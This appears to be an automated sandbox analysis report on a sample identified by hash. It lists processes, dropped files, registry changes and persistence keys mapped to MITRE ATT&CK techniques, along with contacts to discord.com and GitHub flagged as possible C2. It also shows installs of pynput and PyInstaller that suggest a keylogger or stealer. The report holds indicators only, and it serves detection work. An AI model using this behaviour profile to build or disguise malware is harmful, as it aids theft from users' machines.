95ce4960d423d9813860400189705efb769c857ebca91d669ff784f1f5f89d31

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	python-3.12.2-amd64.exe

Executes dropped EXE 64 IoCs

pid	Process
2876	python-3.12.2-amd64.exe
5268	python-3.12.2-amd64.exe
6072	python-3.12.2-amd64.exe
3420	python.exe
5712	python.exe
1456	py.exe
5628	python.exe
5220	py.exe
4872	python.exe
3416	py.exe
1420	python.exe
6032	pip.exe
3628	python.exe
3428	python.exe
4476	python.exe
4908	python.exe
2404	python.exe
4464	python.exe
5960	python.exe
4740	python.exe
164	python.exe
5036	python.exe
3964	python.exe
4488	python.exe
5284	python.exe
4068	python.exe
4112	python.exe
3828	python.exe
4720	python.exe
6788	python.exe
6724	python.exe
1968	python.exe
3932	python.exe
6328	python.exe
6376	python.exe
4992	python.exe
3960	python.exe
6800	python.exe
436	python.exe
1572	python.exe
2424	python.exe
6336	python.exe
6264	python.exe
5484	python.exe
5220	python.exe
1516	python.exe
5596	python.exe
1068	python.exe
1680	python.exe
5856	python.exe
1988	python.exe
4500	python.exe
3844	pip.exe
5044	python.exe
1516	py.exe
1620	python.exe
3392	pip.exe
6952	python.exe
7324	pip.exe
7364	python.exe
7616	py.exe
7680	python.exe
7700	pyinstaller.exe
7732	python.exe

Loads dropped DLL 64 IoCs

pid	Process
5268	python-3.12.2-amd64.exe
5100	MsiExec.exe
3420	python.exe
3420	python.exe
3420	python.exe
3420	python.exe
3420	python.exe
3420	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5712	python.exe
5628	python.exe
5628	python.exe
5628	python.exe
5628	python.exe
5628	python.exe
5628	python.exe
5628	python.exe
4872	python.exe
4872	python.exe
4872	python.exe
4872	python.exe
4872	python.exe
4872	python.exe
4872	python.exe
1420	python.exe
1420	python.exe
1420	python.exe
1420	python.exe
1420	python.exe
1420	python.exe
1420	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe
3628	python.exe

Registers COM server for autorun 1 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ = "C:\\Windows\\pyshellext.amd64.dll"	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{b6178a40-1665-4565-b73e-48dd6e039a65} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{b6178a40-1665-4565-b73e-48dd6e039a65}\\python-3.12.2-amd64.exe\" /burn.runonce"	python-3.12.2-amd64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
164	camo.githubusercontent.com
166	camo.githubusercontent.com
207	discord.com
210	discord.com
359	camo.githubusercontent.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Python312\Lib\test\memory_watchdog.py	msiexec.exe
File created	C:\Program Files\Python312\Doc\html\library\asyncio-platforms.html	msiexec.exe
File created	C:\Program Files\Python312\Lib\site-packages\win32comext\axcontrol\__pycache__\__init__.cpython-312.pyc.2223825520368	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\pynput\keyboard\_win32.py	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\win32ctypes\tests\test_win32api.py	python.exe
File created	C:\Program Files\Python312\Doc\html\library\audit_events.html	msiexec.exe
File created	C:\Program Files\Python312\Lib\site-packages\pip\_vendor\rich\__pycache__\_stack.cpython-312.pyc.2076397263952	python.exe
File created	C:\Program Files\Python312\Lib\test\__pycache__\ssl_servers.cpython-312.pyc.1378570848688	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\numpy\fft\__init__.py	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\aiohttp\_http_parser.pyx	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\PyInstaller\hooks\__pycache__\hook-PyQt6.QtPositioning.cpython-312.pyc.2306187199472	python.exe
File created	C:\Program Files\Python312\Doc\html\library\unix.html	msiexec.exe
File created	C:\Program Files\Python312\Lib\test\test_importlib\import_\__pycache__\test_path.cpython-312.pyc.1378565143072	python.exe
File created	C:\Program Files\Python312\Lib\test\__pycache__\test_lltrace.cpython-312.pyc.1378565454896	python.exe
File created	C:\Program Files\Python312\Lib\encodings\__pycache__\cp1256.cpython-312.opt-1.pyc.2190119891376	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\pygame\freetype.pyi	python.exe
File created	C:\Program Files\Python312\Lib\test\test_import\data\circular_imports\from_cycle1.py	msiexec.exe
File created	C:\Program Files\Python312\Lib\site-packages\numpy\lib\type_check.pyi	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\numpy\f2py\__pycache__\diagnose.cpython-312.pyc.2223832846752	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\numpy\f2py\tests\__pycache__\test_common.cpython-312.pyc.2223832853808	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\PIL\__pycache__\ImtImagePlugin.cpython-312.pyc.2223825406832	python.exe
File created	C:\Program Files\Python312\Doc\html\library\threading.html	msiexec.exe
File created	C:\Program Files\Python312\tcl\tcl8.6\tzdata\Africa\Freetown	msiexec.exe
File created	C:\Program Files\Python312\Lib\idlelib\idle_test\__pycache__\test_outwin.cpython-312.opt-1.pyc.2190119216464	python.exe
File created	C:\Program Files\Python312\Lib\test\test_dataclasses\__pycache__\dataclass_textanno.cpython-312.opt-1.pyc.2190119667472	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\adodbapi\__pycache__\is64bit.cpython-312.pyc.2223816273488	python.exe
File created	C:\Program Files\Python312\Lib\test\test_email\__pycache__\test__encoded_words.cpython-312.pyc.1378563929072	python.exe
File created	C:\Program Files\Python312\Lib\test\__pycache__\test_mmap.cpython-312.opt-2.pyc.2121962434480	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\hook-markdown.py	python.exe
File created	C:\Program Files\Python312\tcl\tix8.4.3\demos\MkScroll.tcl	msiexec.exe
File created	C:\Program Files\Python312\Lib\test\test_ctypes\__pycache__\test_anon.cpython-312.pyc.1378570848688	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\setuptools\_distutils\text_file.py	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\PyInstaller\configure.py	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\pygame\examples\data\blue.gif	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\pygame\threads\__init__.py	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\requests\__pycache__\__init__.cpython-312.pyc.2223832855536	python.exe
File created	C:\Program Files\Python312\tcl\tcl8.6\tzdata\America\Indiana\Vincennes	msiexec.exe
File created	C:\Program Files\Python312\Lib\test\test_unittest\testmock\__pycache__\testasync.cpython-312.pyc.1378581580944	python.exe
File created	C:\Program Files\Python312\Lib\test\test_zoneinfo\__pycache__\__init__.cpython-312.pyc.1378564868784	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\psutil\__pycache__\_psaix.cpython-312.pyc.2223821955376	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\shellescape\__init__.py	python.exe
File created	C:\Program Files\Python312\Lib\sqlite3\dbapi2.py	msiexec.exe
File created	C:\Program Files\Python312\tcl\tcl8.6\tzdata\US\Aleutian	msiexec.exe
File created	C:\Program Files\Python312\Lib\idlelib\__pycache__\percolator.cpython-312.pyc.1378564788656	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\setuptools\command\__pycache__\upload_docs.cpython-312.pyc.2306186156272	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py	python.exe
File created	C:\Program Files\Python312\Lib\encodings\__pycache__\iso8859_3.cpython-312.pyc.1378564791088	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\pygame\tests\camera_test.py	python.exe
File created	C:\Program Files\Python312\Lib\encodings\__pycache__\mac_latin2.cpython-312.opt-2.pyc.2121962397616	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\__pycache__\hook-cv2.cpython-312.pyc.2306187401808	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\numpy\core\tests\__pycache__\test_protocols.cpython-312.pyc.2223823942512	python.exe
File created	C:\Program Files\Python312\Lib\test\certdata\ssl_key.passwd.pem	msiexec.exe
File created	C:\Program Files\Python312\tcl\tk8.6\demos\hscale.tcl	msiexec.exe
File created	C:\Program Files\Python312\Lib\__pycache__\pprint.cpython-312.opt-1.pyc.2190119455296	python.exe
File created	C:\Program Files\Python312\Lib\test\__pycache__\test_compile.cpython-312.opt-1.pyc.2190111034672	python.exe
File created	C:\Program Files\Python312\Lib\test\test_future_stmt\__pycache__\future_test1.cpython-312.opt-1.pyc.2190119220496	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\hook-_mysql.py	python.exe
File created	C:\Program Files\Python312\Lib\site-packages\crypto\__init__.py	python.exe
File created	C:\Program Files\Python312\Doc\html\_images\pathlib-inheritance.png	msiexec.exe
File created	C:\Program Files\Python312\tcl\tcl8.6\tzdata\Asia\Khandyga	msiexec.exe
File created	C:\Program Files\Python312\tcl\tix8.4.3\demos\samples\Balloon.tcl	msiexec.exe
File created	C:\Program Files\Python312\Lib\site-packages\pip\_vendor\urllib3\exceptions.py	python.exe
File created	C:\Program Files\Python312\Lib\test\test_importlib\resources\data02\two\__pycache__\__init__.cpython-312.opt-2.pyc.2121962017520	python.exe
File created	C:\Program Files\Python312\Lib\test\test_threading_local.py	msiexec.exe

Drops file in Windows directory 61 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDD14.tmp	msiexec.exe
File created	C:\Windows\Installer\e57d6eb.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6fa.msi	msiexec.exe
File created	C:\Windows\py.exe	msiexec.exe
File created	C:\Windows\pyw.exe	msiexec.exe
File created	C:\Windows\Installer\e57d6ff.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6e6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6f1.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{BDE73EDC-76AE-475D-8885-9B583631B0FC}	msiexec.exe
File created	C:\Windows\Installer\e57d705.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6ec.msi	msiexec.exe
File created	C:\Windows\pyshellext.amd64.dll	msiexec.exe
File created	C:\Windows\Installer\e57d700.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E172CAF3-ABC7-4B62-BA8C-3A2472DE44F6}	msiexec.exe
File created	C:\Windows\Installer\e57d6f0.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6f6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6dd.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{097D2A37-E94B-4FAD-8C89-D63443BD4D4A}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B50C92E9-2780-433A-AA61-E9F06D0AFF8A}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID83F.tmp	msiexec.exe
File created	C:\Windows\Installer\e57d6dc.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6f5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d700.msi	msiexec.exe
File created	C:\Windows\Installer\e57d704.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d705.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4534F2ED-1616-434D-98A6-0DA358DCD466}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF6A8.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{BD32BDE9-835D-4013-8F9A-45FF11456F02}	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6f6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6fb.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI382A.tmp	msiexec.exe
File created	C:\Windows\Installer\e57d6d8.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{F131E2DD-B8C5-42F3-85B7-3D4BAC9582CD}	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6ec.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{94087C99-E4F5-4637-A789-3B6059DF787B}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI21D1.tmp	msiexec.exe
File created	C:\Windows\Installer\{3B36061E-A25F-4E12-BFD1-68E724723D48}\ARPIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{3B36061E-A25F-4E12-BFD1-68E724723D48}\ARPIcon	msiexec.exe
File created	C:\Windows\Installer\e57d6fb.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6dd.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6e1.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6e2.msi	msiexec.exe
File created	C:\Windows\Installer\e57d6e7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE590.tmp	msiexec.exe
File created	C:\Windows\Installer\{B50C92E9-2780-433A-AA61-E9F06D0AFF8A}\idle.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI384A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDAE0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6e7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI51CF.tmp	msiexec.exe
File created	C:\Windows\Installer\e57d709.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6d8.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d6e2.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI12BD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{B50C92E9-2780-433A-AA61-E9F06D0AFF8A}\idle.exe	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3B36061E-A25F-4E12-BFD1-68E724723D48}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI36A2.tmp	msiexec.exe
File created	C:\Windows\Installer\e57d6f1.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{D552469C-E810-468F-A139-1EA43D0E2BE0}	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000982641fbe24eac720000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000982641fb0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900982641fb000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d982641fb000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000982641fb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 21 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\29	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\23	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2A	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\24	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\23	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\25	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\24	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2B	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2c	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\22\52C64B7E	msiexec.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConFile\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.2150.0"	python-3.12.2-amd64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE2F43546161D434896AD03A85CD4D66\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE2F43546161D434896AD03A85CD4D66\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\73A2D790B49EDAF4C8986D4334DBD4A4\PackageCode = "C4E17E7A221912646B11ACA25CEB3D4A"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99C780495F4E73647A98B30695FD87B7\DeploymentFlags = "2"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9EDB23DBD5383104F8A954FF1154F620	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.CompiledFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99C780495F4E73647A98B30695FD87B7\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99C780495F4E73647A98B30695FD87B7\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3270530367-132075249-2153716227-1000\{6B267198-BB36-4B13-88D7-881D1C874EAB}	msedge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE2F43546161D434896AD03A85CD4D66\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE2F43546161D434896AD03A85CD4D66\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE2F43546161D434896AD03A85CD4D66\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD2E131F5C8B3F24587BD3B4CA5928DC	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD2E131F5C8B3F24587BD3B4CA5928DC\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.File\Shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.Extension\ = "Python Extension Module"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CDE37EDBEA67D5748858B98563130BCF	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.File\DefaultIcon	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.pyo	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE2F43546161D434896AD03A85CD4D66	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9EDB23DBD5383104F8A954FF1154F620\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.File\Shell\editwithidle\shell\edit312	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.File\Shell\editwithidle\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConFile\Shell\editwithidle\shell\edit312\MUIVerb = "Edit with IDLE 3.12 (64-bit)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E29C05B0872A334AA169E0FD6A0FFA8\Shortcuts	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C964255D018EF8641A93E14AD3E0B20E\SourceList\Net\1 = "C:\\ProgramData\\Package Cache\\{D552469C-E810-468F-A139-1EA43D0E2BE0}v3.12.2150.0\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile\shell\open\command\ = "\"C:\\Windows\\py.exe\" \"%L\" %*"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pyzw\ = "Python.NoConArchiveFile"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E16063B3F52A21E4FB1D867E4227D384\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CDE37EDBEA67D5748858B98563130BCF\DeploymentFlags = "2"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CDE37EDBEA67D5748858B98563130BCF\SourceList\PackageName = "pip.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C964255D018EF8641A93E14AD3E0B20E\Version = "51120230"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E16063B3F52A21E4FB1D867E4227D384\Version = "51120230"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\73A2D790B49EDAF4C8986D4334DBD4A4\SourceList\LastUsedSource = "n;1;C:\\ProgramData\\Package Cache\\{097D2A37-E94B-4FAD-8C89-D63443BD4D4A}v3.12.2150.0\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD2E131F5C8B3F24587BD3B4CA5928DC\SourceList\PackageName = "dev.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9EDB23DBD5383104F8A954FF1154F620	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E29C05B0872A334AA169E0FD6A0FFA8\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.CompiledFile\DefaultIcon	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConArchiveFile\DefaultIcon\ = "\"C:\\Windows\\py.exe\",5"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD2E131F5C8B3F24587BD3B4CA5928DC\DeploymentFlags = "2"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5EF11A5A9F184445CA5A3AFEC8CCF53D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FAC271E7CBA26B4ABC8A34227ED446F\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E29C05B0872A334AA169E0FD6A0FFA8	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CDE37EDBEA67D5748858B98563130BCF\AuthorizedLUAApp = "0"	msiexec.exe
